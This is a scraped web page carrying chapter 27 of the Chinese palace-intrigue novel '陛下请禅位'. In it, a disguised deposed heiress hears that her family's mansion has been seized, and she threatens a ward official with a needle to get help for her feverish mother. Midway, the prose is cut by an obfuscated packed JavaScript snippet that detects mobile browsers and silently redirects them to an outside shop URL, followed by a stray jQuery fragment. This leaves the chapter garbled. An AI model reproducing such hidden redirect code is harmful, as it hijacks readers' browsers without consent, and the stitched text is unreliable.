文趣网 > 都市小说 > 陛下请禅位 > 27. 生病
    因为昨个忙得太久,卫明昭一觉睡到大天亮才起。

    “厨房里给你留的有米粥和鸡蛋,一会儿别忘了吃。”

    贺仪真看着打水洗脸她,开口叮嘱了一句。

    “好嘞!”卫明昭抹了把脸,就去了厨房。

    一碗米粥,两个鸡蛋,外加一碟小咸菜。

    挺清淡的,不过她也没嫌弃,叽哩咣啷就吃完了。

    她把碗筷洗完放好,来到了院子里,贺仪真正拿着一个锄子在墙角忙活,寒冷的冬日里,她的头上竟出了几滴汗。

    卫明昭走到了墙角处,看到娘亲头上的汗,抬手替她拂去:“娘亲在忙些什么?”

    “这墙角有一小块荒废的地,看着怪可惜的,我想着干脆修整出来,等到立春的时候种点菜上去,也能省点钱。”

    贺仪真嘴上说着,手上举起铁锄把地上的那一块硬土敲碎。

    “那我也来帮忙。”卫明昭听到这话,就打算去拿个工具来帮忙。

    “没多少了,你昨天忙了一天,先去好好歇着。”

    阿月还是个孩子,贺仪真怕她太累伤了身体,语气坚决,止住了想要过来帮忙的她。

    卫明昭听到母亲拒绝,没有再过去,转身回了屋里。

    找出昨天买的油纸,用剪刀把油纸裁出了窗户大小。

    这屋里的窗户纸挂的时间长了,变得有些脆和糟了,不防寒也不防潮。

    她撕下窗户上的旧纸,把刚刚裁剪好的油纸小心地贴上去。

    这还是她第一次换窗户纸,以前王府里面的窗户都是用绢纱、玻璃或者蚌壳打造的明瓦,在王府里面很少用窗户纸。

    这才在这住了几天,就让她长了不少见识。

    卫明昭把家里的窗户纸全都换了一遍,又拿着木板敲敲打打,把家里漏风比较大的地方全都堵上。

    中午吃完一碗面,她就回到了屋里,拿出了昨天买来的书。

    她虽然如今全家遭难,被贬为了庶人,但她并不觉得自己的人生就会止步于此。

    未来必定会有她大展宏图之际,而如今她需要的便是打磨自身,补充不足,等待君子豹变之日。

    卫明昭坐在屋里,拿着书一看便是一个多时辰,直到眼睛有些酸涩,她才放下了书,离开了屋子。

    她和母亲说了一声,就离开了院子,打算去外面探探消息。

    她们来这也有三天了,不知道王府的情况如何?阿秀可否安好?

    “小二,上壶茶,来两碟小菜。”卫明昭找了个人比较多的饭馆,寻了个角落坐下。

    “好嘞!”小二听到招呼,端着东西便过来,“客官,您的茶和小菜,您一会儿有啥事儿随时招呼我一声就行。”

    “知道了。”卫明昭挥了挥手让他去忙别的事。

    “各位看官,我们书接上回。”一个说书人醒木一拍,开口讲着今日的故事。

    “话说廷尉行至宛城,却见宛城冷清无比,百姓因鬼火一事人心惶惶,藏于家中……”

    王相智识鬼火,说书先生刚开了个头,卫明昭便知道他要讲的是什么了。

    她把说书声屏蔽,竖起耳朵偷听着周围人的讲话。

    卫明昭听了半天鸡毛蒜皮的事,也没有听到自己想听的消息,正打算放弃,近处一道轻微的声音传入她的耳中。

    “唉王兄,安王的事你听说了吗?”一个书生压低着声音,对着同桌之人开口道。

    “安王巫蛊入狱,这事我知道。”

    “不是这,是安王死了。”

    “什么!”王姓书生听到这个消息,声音猛然变大。

    周围人被这猛然间的大声所惊扰,皆扭头看向他们这一桌。

    说事的书生用腿碰了一下刚才大声的王书生,王书生立马反应过来,举起酒杯连声道歉:“抱歉,打扰了,打扰了。”

    看着周围的人没再看他们这一桌,王书生才压低着声音询问:“什么时候的事?我怎么没听说呀?”

    “没两天的事儿,我也是昨个入皇城,看到安王府被查抄,才打听到的。”

    卫明昭听到安王府被查抄,桌子下的手猛然攥紧,提着的心跌到了谷底。

    她知道王府早晚会被查抄,但她没想到皇帝会这么快。

    阿秀可还好?有没有受到牵连?

    “唉!真是可惜了,这么好的一个贤王。”王书生满脸惋惜,“也不知安王府的人现在都如何了?”

    “还能怎么样,王府都被查抄了,里面的人肯定都被赶出去了。”

    讲话的书生语气一顿,四处瞅了瞅,压低着声音。

    “我还听别人说,安王妃和安王世子被皇帝贬为了庶人,送去给先帝守陵了。”

    “给先帝守陵,那不就是在我们永陵邑吗?”

    “可能吧,但谁知道真假呢,不过都是道听途说,说不定被秘密处死了也有可能。”

    “李兄慎言。”王书生举起酒杯,“喝酒喝酒,不说这些糟心事了。”

    卫明昭又在位置上坐了一会儿,可实在听不到什么有用的信息,就干脆结账离开了。

    她因为王府被查抄的消息,心中不安,打算去坊外再打探打探。

    “贵人止步!”卫明昭还没踏出坊门,身后便有一个男子的声音叫住了他。

    卫明昭转身,看着眼前的中年男子,面带疑惑,“你是?”

    “在下为此地坊正李谈,见过贵人。”李谈抱手向他问好。

    “原来是坊正,不知李坊正为何要阻我出这扇门?”

    “君既被派来此地为先帝守陵,还是安心在此坊守着为好,上面的贵人并不想看到您随意出去。”李谈道。

    “我明白了,多谢坊正告知。”

    “此乃小的职责,贵人今后若有急事可来东街三号来找我。”

    “我记住了,今后就劳烦李坊正了。”

    卫明昭和李谈谈话过程中,一直嘴角轻扬,面容不变,向他表示了声感谢,转身离开。

    皇帝这是要把她和娘亲拘在此地。

    “有阿月和婶婶的消息了吗?”郁秀看到回来的鹤一立马迎了上去,开口询问。

    “控鹤卫来报,三日前谢自行似带着人去往了永陵邑明贤坊,我怀疑王妃和殿下便应该被关在了此地。”

    “那我们现在就去。”

    “不行。”鹤一制止住了鹤十一,“再等等。”

    “正贤坊外还有宫中的人盯着,现在去就是打草惊蛇,说不定还会引起皇帝的猜忌。”

    “那怎么办?我的职责是保护好殿下,难道就这样在一旁看着不成?”

    打从殿下入狱,鹤十一内心的情绪就没有稳过。

    当年他以为小郡主死了,心中的明月坠落,他便一直后悔自己没用,没能报其恩。

    后来他入了控鹤卫,为了一个机会,能去王府的机会。

    他将生死抛之脑后,只为了能变强,替小郡主保护好她的家人。

    后来他如愿去了王府,见到了殿下,第一眼便叫他内心触动。

    若小郡主活着,当是如此。

    幸运的是,这竟真的是小郡主。

    明月不曾坠落,上苍竟也眷顾他。

    可是……

    鹤十一紧抿着嘴唇,心中满是挫败。

    他仍然保护不了她。

    “我去,我与王府的关系,陛下不会怀疑。”郁秀以不容置疑的口气做出了决定。

    她的义父是郁天冬,郁天冬和安王可是出了名的惺惺相惜,莫逆之交。

    还是皇长孙的卫琮,会因为郁天冬缺了个炼丹的药材,不惜万金悬赏。

    会在郁天冬还没有那么出名,医术受到他人质疑时,以自己的名誉为他担保。

    郁天冬也会在乾元宫之变后,甘愿冒着生命危险,为被囚禁的卫琮请命求情,甚至在先帝面前提出。

    天冬愿以自身性命,来换陛下见殿下一面,使他能在陛下面前得以自证清白。

    可以说安王和郁天冬之间的情谊,这京中很少有人不知。

    而她明面上作为郁天冬之女,在郁天冬死后被托付给安王,她和王府的关系自此便与旁人不同。

    如今安王府被查封,她身为一个孤女,无处可去,在知道了婶婶和明昭的消息后,前往投奔实在是正常不过。

    “那就有劳小姐了。”鹤一也知道他们之中只有郁秀最合适。

    因为不能出这个正贤坊,卫明昭只能在这坊内四处逛逛,希望能再探听一些有用的消息。

    可惜除了知道王府被查封了,其他再也没有得到什么有用的消息。

    她只

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17723313|206507||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    好先回家去,再做打算。

    “阿月回来了,厨房温的有热水,泡个脚再睡。”

    “好。”卫明昭看向娘亲,却发现她的脸色有点红,有些担忧,“娘亲的脸怎么这么红?”

    “刚烧水在火旁热着了,不用担心,天色不早了,早些休息。”

    卫明昭放下了担忧,笑着:“好。”

    半夜,卫明昭被一阵尿意给憋醒。

    她迷迷糊糊从床上起来,摸黑从衣架上拿了件外袍,胡乱套在身上,去了院内的茅房。

    这么晚了,娘亲竟然还没睡?

    卫明昭看见娘亲屋里的灯还亮着,迷瞪的脑袋瞬间清醒了不少。

    她先去上了个茅房,才走到母亲门外,抬手轻叩。

    “娘亲。”卫明昭轻声向屋内呼唤,屋内没有一丝动静。

    她推开门,贺仪真安安静静躺在床上。

    娘亲这是睡着了,忘记吹灯,卫明昭轻轻一笑,来到床前,打算替母亲把被子盖好。

    不对!

    她温柔的笑容僵在脸上。

    贺仪真脸色发红,额头上尽是汗水,因着身体难受,眉头一直紧紧皱着,嘴中一直喃喃着什么。

    卫明昭颤抖的伸出手,抚在娘亲的额头上,好烫。

    她疯了一样跑了出去,大夫,她要去找大夫。

    她刚一踏出院门,就顿住了。

    望着这昏暗宽广的道路,她竟不知该向左还是向右。

    她逛了一下午,却没有注意大夫在哪。

    东街三号,李谈!

    卫明昭犹如抓住了一根救命稻草,疯狂的往东街三号的方向跑去。

    “砰砰砰……”卫明昭手不断叩响房门,扯着嗓子喊,“李坊正……李坊正……”

    屋内的李谈被这声音吵醒,穿上衣服,提了盏灯,打开了院门。

    “贵人这是怎么了?”

    李谈看着下午还举止优雅,端庄雅正的少年,现在却披头散发,面色惨白,好似被抽了魂。

    卫明昭看见房门打开,扑过去紧紧抓住他的手,急切询问:“大夫,这里的大夫在哪里?”

    “正贤坊倒是有一个大夫,不过张大夫前几日便离开去处理家事去了,估计还需几日才能回来。”

    李谈的口中吐出了一个不好的消息。

    卫明昭听闻此言,身形一晃,如遭重创。

    “那你快开坊门,我去外面去找。”

    “时间未到,坊门不可开,况且贵人也不能出正贤坊。”李谈严词拒绝。

    扑通一声,卫明昭重重跪在地上,语气哽咽开口。

    “求你,我求你打开坊门,我娘亲现在发着高热,不能再拖了。”

    李谈弯腰想要将他扶起,可卫明昭紧紧跪着,眼中渴求的望着他,他竟一时无法将他扶起。

    李谈松开了手,眼中带着一丝无奈:“职责如此,贵人莫要逼我了。”

    “你放我出去,一切罪责我来承担,必不会牵连于你,求你,求求你。”卫明昭头一下又一下的重重叩在地上。

    李谈蹲下身子,手伸在他额头与地面中间,好言相劝。

    “贵人手无文书,纵使我放你出着坊门,犯了宵禁也会被官兵所抓,到时候留着夫人一人在家,贵人就不担心吗?”

    “可娘亲病了,她等不了。”

    李谈看着他额头磕出的红痕,嘴唇微颤,还是拒绝:“一夜应当无碍,明日开坊时辰一到,我就为夫人去请良医。”

    “哈!一夜无碍。”

    怎会无碍,当年二哥,便是在圈禁中,因为一时受惊,起了高热。

    只因为圈禁之地没有医师,父王和母妃也没有求来医师。

    不过一夜高热,年仅六岁的二哥,就死在了父王和母妃的怀中。

    高热是真的会死人的。

    卫明昭的声音陡然冷了下去:“你知道些什么!高热一夜可是会死的……”

    “贵人请回吧,我不会开着坊门。”李谈虽然也同情于他,但也不会违背自己的职责。

    “真的不开?”

    “不开!”

    卫明昭听到这个答案,猛然暴起,迅速抽出靴中藏着的银针,一手勒住李谈的脖子,银针直指他的太阳穴。

    “不想死,就给我开门。”